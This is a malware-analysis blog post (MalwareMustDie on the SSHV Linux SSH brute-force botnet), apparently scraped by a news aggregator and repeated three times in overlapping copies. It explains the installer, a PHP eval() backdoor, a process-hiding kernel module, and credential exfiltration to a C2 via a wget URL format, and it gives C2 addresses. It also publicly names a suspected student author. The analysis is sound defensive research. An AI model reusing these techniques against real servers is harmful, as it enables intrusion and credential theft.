It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.

Guideline to conduct a responsible malware research

We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.

There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:

- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
( do the limited access for the research purpose )

Epilogue and follow up

I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.

Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.

For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.

For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's /r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].

The apology from coder & a requirement of the virus making project..

After following some requests, we saw the infrastructure for this malware was taken down:

@MalwareMustDie After 24h post & requests sent to GitHub & Univ, CNC+GitHub #malware code was taken down, THANK YOU! pic.twitter.com/fQJzFVIeHv

— ☩MalwareMustDie (@MalwareMustDie) December 25, 2015

We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.

I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.

We need to be cleared of one thing only, is it a requirement from himself as the virus project leader or from the university side to make this virus project with its requirement?

I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.

#MalwareMustDie!


News Bewertung

Weiterlesen Weiterlesen

MMD-0047-2015 - SSHV: SSH bruter ELF botnet malware w/hidden process kernel module

Zur Kategorie wechselnIT Security Nachrichten vom | Quelle: blog.malwaremustdie.org Direktlink direkt öffnen

Background

Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.

The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.

Today, one of my friends who is also focusing in monitoring ELF malware threat Mr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:

The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.

Malware's installer and its overall malicious scheme

The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.

Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:

Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC host via an openly accessed HTTP protocol, and is being executed under "God Mode" 777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.

The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.

The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:

There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.

The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.

The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:

And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:

%HOSTNAME%/sshv.php?out=%s&pass=%s
which is also executed by ELF malware using "wget" via shell.

Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:

Protocol: "HTTP/1.1" 
host: "city.ip138.com"
GET "/ip2city.asp"
- to determine the location of the infected server. This is the second backdoor function of this malware. There is also being detected another activity to check whether the correct files were downloaded from the CNC download server under specific condition, that can be actually expanded to updates functionality, if the code was activated that would be the third backdoor verdict.

I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.

Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..

The malicious verdict explained in reversing mode

In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.

So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.

The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:

The checking connection process was done using the ping command with capturing its stream result.

This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:



The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:

To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.

The threat's source

For the mitigation purpose herewith the network correlation of the threat:

1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:

;; QUESTION SECTION:
;testzzzzzz.10g.me. IN A

;; ANSWER SECTION:
testzzzzzz.10g.me. 3600 IN A 93.188.160.78

;; AUTHORITY SECTION:
10g.me. 3600 IN NS ns1.main-hosting.com.
10g.me. 3600 IN NS ns2.main-hosting.com.

;; ADDITIONAL SECTION:
ns1.main-hosting.com. 3600 IN A 31.170.163.241
ns2.main-hosting.com. 3600 IN A 31.220.23.1
It was checked that the actor is utilizing the service of the China domain hoster: 10g.me to set this CNC host.

2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.

$ cat sshv-service-rule
#1
"178.62.163.229"
"101.229.[65-70].128"
"178.62.163.[228-231]"
10.10.10.*
10.[20-25].123.123
Which 178.62.163.[228-231] is apparently a rental VPS in Digital Ocean Hoster at Netherland data center:
{
"ip": "178.62.163.[228-231]",
"hostname": "No Hostname",
"city": "Amsterdam",
"region": "North Holland",
"country": "NL",
"loc": "52.3740,4.8897",
"org": "AS200130 Digital Ocean, Inc.",
"postal": "1000"
}
3. There is another IP to be marked with, linked with the actor information directly and his purpose in the following section.

The bad (kid) actor..

Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!

A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":

It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW! [removed] [removed]! STOP playing with SSH hacking botnet!!

For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:

The "malware / virus project's" itinerary, deisgn and how to build it:

We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?

The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:

{
"ip": "101.229.65.128",
"hostname": "No Hostname",
"city": "Shanghai",
"region": "Shanghai Shi",
"country": "CN",
"loc": "31.0456,121.3997",
"org": "AS4812 China Telecom (Group)"
}

It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.

Guideline to conduct a responsible malware research

We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.

There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:

- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
( do the limited access for the research purpose )

Epilogue and follow up

I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.

Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.

For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.

For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's /r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].

The apology from coder & a requirement of the virus making project..

After following some requests, we saw the infrastructure for this malware was taken down:

@MalwareMustDie After 24h post & requests sent to GitHub & Univ, CNC+GitHub #malware code was taken down, THANK YOU! pic.twitter.com/fQJzFVIeHv

— ☩MalwareMustDie (@MalwareMustDie) December 25, 2015

We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.

I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.

We need to be cleared of one thing only, is it a requirement from himself as the virus project leader or from the university side to make this virus project with its requirement?

I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.

#MalwareMustDie!


News Bewertung

Weiterlesen Weiterlesen

MMD-0047-2015 - SSHV: SSH bruter ELF botnet malware w/hidden process kernel module

Zur Kategorie wechselnIT Security vom | Quelle: blog.malwaremustdie.org Direktlink direkt öffnen

Background

Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.

The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.

Today, one of my friends who is also focusing in monitoring ELF malware threat Mr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:

The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.

Malware's installer and its overall malicious scheme

The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.

Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:

Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC host via an openly accessed HTTP protocol, and is being executed under "God Mode" 777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.

The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.

The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:

There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.

The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.

The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:

And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:

%HOSTNAME%/sshv.php?out=%s&pass=%s
which is also executed by ELF malware using "wget" via shell.

Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:

Protocol: "HTTP/1.1" 
host: "city.ip138.com"
GET "/ip2city.asp"
- to determine the location of the infected server. This is the second backdoor function of this malware. There is also being detected another activity to check whether the correct files were downloaded from the CNC download server under specific condition, that can be actually expanded to updates functionality, if the code was activated that would be the third backdoor verdict.

I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.

Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..

The malicious verdict explained in reversing mode

In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.

So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.

The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:

The checking connection process was done using the ping command with capturing its stream result.

This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:



The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:

To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.

The threat's source

For the mitigation purpose herewith the network correlation of the threat:

1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:

;; QUESTION SECTION:
;testzzzzzz.10g.me. IN A

;; ANSWER SECTION:
testzzzzzz.10g.me. 3600 IN A 93.188.160.78

;; AUTHORITY SECTION:
10g.me. 3600 IN NS ns1.main-hosting.com.
10g.me. 3600 IN NS ns2.main-hosting.com.

;; ADDITIONAL SECTION:
ns1.main-hosting.com. 3600 IN A 31.170.163.241
ns2.main-hosting.com. 3600 IN A 31.220.23.1
It was checked that the actor is utilizing the service of the China domain hoster: 10g.me to set this CNC host.

2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.

$ cat sshv-service-rule
#1
"178.62.163.229"
"101.229.[65-70].128"
"178.62.163.[228-231]"
10.10.10.*
10.[20-25].123.123
Which 178.62.163.[228-231] is apparently a rental VPS in Digital Ocean Hoster at Netherland data center:
{
"ip": "178.62.163.[228-231]",
"hostname": "No Hostname",
"city": "Amsterdam",
"region": "North Holland",
"country": "NL",
"loc": "52.3740,4.8897",
"org": "AS200130 Digital Ocean, Inc.",
"postal": "1000"
}
3. There is another IP to be marked with, linked with the actor information directly and his purpose in the following section.

The bad (kid) actor..

Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!

A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":

It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW! [removed] [removed]! STOP playing with SSH hacking botnet!!

For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:

The "malware / virus project's" itinerary, deisgn and how to build it:

We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?

The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:

{
"ip": "101.229.65.128",
"hostname": "No Hostname",
"city": "Shanghai",
"region": "Shanghai Shi",
"country": "CN",
"loc": "31.0456,121.3997",
"org": "AS4812 China Telecom (Group)"
}

It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.

Guideline to conduct a responsible malware research

We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.

There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:

- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
( do the limited access for the research purpose )

Epilogue and follow up

I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.

Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.

For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.

For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's /r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].

The apology from coder & a requirement of the virus making project..

After following some requests, we saw the infrastructure for this malware was taken down:

@MalwareMustDie After 24h post & requests sent to GitHub & Univ, CNC+GitHub #malware code was taken down, THANK YOU! pic.twitter.com/fQJzFVIeHv

— ☩MalwareMustDie (@MalwareMustDie) December 25, 2015

We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.

I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.

We need to be cleared of one thing only, is it a requirement from himself as the virus project leader or from the university side to make this virus project with its requirement?

I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.

#MalwareMustDie!


News Bewertung

Weiterlesen Weiterlesen

MMD-0047-2015 - SSHV: SSH bruter ELF botnet malware w/hidden process kernel module

Zur Kategorie wechselnPoC vom | Quelle: blog.malwaremustdie.org Direktlink direkt öffnen

Background

Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.

The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.

Today, one of my friends who is also focusing in monitoring ELF malware threat Mr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:

The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.

Malware's installer and its overall malicious scheme

The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.

Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:

Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC host via an openly accessed HTTP protocol, and is being executed under "God Mode" 777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.

The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.

The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:

There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.

The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.

The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:

And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:

%HOSTNAME%/sshv.php?out=%s&pass=%s
which is also executed by ELF malware using "wget" via shell.

Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:

Protocol: "HTTP/1.1" 
host: "city.ip138.com"
GET "/ip2city.asp"
- to determine the location of the infected server. This is the second backdoor function of this malware. There is also being detected another activity to check whether the correct files were downloaded from the CNC download server under specific condition, that can be actually expanded to updates functionality, if the code was activated that would be the third backdoor verdict.

I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.

Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..

The malicious verdict explained in reversing mode

In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.

So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.

The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:

The checking connection process was done using the ping command with capturing its stream result.

This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:



The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:

To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.

The threat's source

For the mitigation purpose herewith the network correlation of the threat:

1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:

;; QUESTION SECTION:
;testzzzzzz.10g.me. IN A

;; ANSWER SECTION:
testzzzzzz.10g.me. 3600 IN A 93.188.160.78

;; AUTHORITY SECTION:
10g.me. 3600 IN NS ns1.main-hosting.com.
10g.me. 3600 IN NS ns2.main-hosting.com.

;; ADDITIONAL SECTION:
ns1.main-hosting.com. 3600 IN A 31.170.163.241
ns2.main-hosting.com. 3600 IN A 31.220.23.1
